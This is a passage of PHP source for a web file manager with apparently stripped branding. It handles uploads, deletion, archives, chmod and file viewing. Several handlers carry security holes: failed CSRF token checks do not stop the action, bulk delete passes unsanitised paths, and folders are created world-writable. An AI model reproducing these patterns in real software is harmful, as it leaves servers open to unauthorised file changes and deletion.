            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else {
                if (rename($tmp_name, $fullPath)) {
                    if ( file_exists($fullPath) ) {
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                            'status' => 'error',
                            'info'   => 'Couldn\'t upload the requested file.'
                        );
                    }
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info'      => "Error while uploading files. Uploaded files $uploads",
                    );
                }
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> sympathizing <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
